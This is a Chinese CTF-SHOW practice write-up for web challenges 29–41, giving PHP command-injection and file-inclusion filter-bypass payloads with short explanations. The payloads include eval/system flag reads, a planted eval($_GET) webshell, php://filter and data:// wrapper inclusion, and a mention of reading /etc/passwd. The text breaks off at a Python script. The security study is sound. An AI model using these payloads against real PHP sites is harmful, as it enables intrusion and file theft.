CTF-SHOW刷题记录Web3
CTF SHOW
web29~124
Web29
题目
1 |
|
前置基础知识
eval()函数
eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,且必须以分号结尾。
return语句会立即种植对字符串的计算
1 | eval(phpcode) |
phpcode:必需。规定要计算的PHP代码
system函数
同C版本的system()函数一样
1 | system(string $command, int &$result_code = null): string|false |
command:必需。要执行的命令
result_code:可选。如果提供result_code参数,则外部命令执行后的返回状态将会被设置到此变量中
题目分析
需要输入一个c,c不能包含flag(无论大小写)
即c是读取flag.php的代码,需要绕过flag字符串匹配
几种思路
一开始使用 ls
命令查看目录,得知flag就在flag.php文件中
1 | c=system("cat fl*g.php | grep -E 'fl.g' "); |
正则表达式
重定向
grep命令用汉语查找文件里符合条件的字符串或正则表达式
https://www.runoob.com/linux/linux-comm-grep.html
grep [options] pattern [files]
pattern:表示要查找的字符串或正则表达式
files:表示要查找的文件名,可以多个。默认标准输入
option:
-i
:忽略大小写进行匹配。-v
:反向查找,只打印不匹配的行。-n
:显示匹配行的行号。-r
:递归查找子目录中的文件。-l
:只打印匹配的文件名。-c
:只打印匹配的行数。
1 | c=system("cat fl*g.php"); |
但要查看网页源代码
并不是说每个词序是反的,而是说文件内容从最后一行开始显示
1 | c=system("tac fl*g.php"); |
1 | c=system("cp fl*g.php a.txt"); |
需要访问/a.txt
1 | c=system('echo -e " <?php \n error_reporting(0); \n \$c= \$_GET[\'c\']; \n eval(\$c); " > a.php'); |
1 | highlight_file(base64_decode("ZmxhZy5waHA=")); |
highlight_file(filename, return)
filename:必需。规定要显示的文件
return:可选。如果该参数设置为TRUE,该函数将以字符串形式返回高亮显示的代码。默认是FALSE。
Web30
题目
1 |
|
题目分析
这里绕过了flag
,system
和php
、
几种思路
1 | ?c=passthur("tac fla*"); |
通配符
? 和 * 的区别
https://blog.csdn.net/weixin_30252651/article/details/115853196
更多绕过system的方法
也称为,使用反引号代替system函数起到命令执行的效果
1 | echo `nl fl''ag.p''hp`; |
1 | ?c=$a=sys;$b=tem;$d=$a.$b;$d("tac fl*"); |
Web31
题目
1 |
|
过滤了:flag
,system
,php
,cat
,sort
,shell
,.
,‘
几种思路
1 | c=eval($_GET[a]);&a=system('cat flag.php'); |
这个payload共传递了两个参数,第一个为嵌套eval,第二个为嵌套eval的传入参数
其实这个是rce
1 | c=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
Web32
题目
1 |
|
过滤:flag
,system
,php
,cat
,sort
,shell
,.
,‘
,` ,echo
,;,(
思路
参照sdellone的wp,进行了改进和解释
1 | c=include%0a$_GET[1] &1=php://filter/convert.base64-encode/resource=flag.php #这是sdellone的payload |
其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用
- 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
- 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
- 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
- 在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞
还可以使用data伪协议,日志注入
Web33
比起上道题多过滤了 “
使用文件包含漏洞一样的
Web34
比起上道题多过滤了 :
检查的内容只有c
,而c
在?>
已经闭合了,不影响后续的1
Web35
比起上道题多过滤了 <
, =
还是一样的
Web36
比起上到题多过滤了/
,[0-9]
那需要修改一下传入的文件名
1 | c=include$_GET[a]?%3E&a=php://filter/convert.base64-encode/resource=flag.php |
Web37
题目
1 |
|
题目分析
这里不再是eval
而是include
了
下方打印了flag
,所以c
中必需包含flag.txt
的内容
这里需要用到data伪协议
1 | ?c=data://text/plain,<?php system("tac flag.php")?> |
Web38
题目
1 | //flag in flag.php |
比起上题多过滤了php
和file
一样的,用data伪协议和base64加密即可
Web39
1 |
|
这次在后面拼接上了.php
.
是php的字符串拼接符
但其实这个拼接没有任何作用
先让我们来看看答案
1 | ?c=data://text/plain,<?= system('tac fla*');?> |
可以看到已经使用?>进行闭合了,那么php代码已经执行完毕并结束了。
强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错
Web40
题目
1 |
|
这里把数字和几乎所有符号都过滤了,但是括号是中文括号,阴得没边了
做题思路
- 得到当前目录
1 | ?c=print_r(getcwd()); |
- 访问目录下文件
1 | ?c=print_r(scandir(getcwd())); |
得到flag在目录下第三个文件中(倒数第二个)
为了减少next的使用
数组移动操作
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
所以倒置一下目录
- 倒置目录
1 | ?c=print_r(array_reverse(scandir(getcwd()))); |
- 数组指针后移
1 | ?c=print_r(next(array_reverse(scandir(getcwd())))); |
- 读取flag.php
1 | ?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); |
Web41
题目
1 | if(isset($_POST['c'])){ |
比起上道题,这道题过滤掉了所有字母,而且注意使用的是POST传参
可以看到还剩下一个 | 没有被过滤
脚本
1 | import re |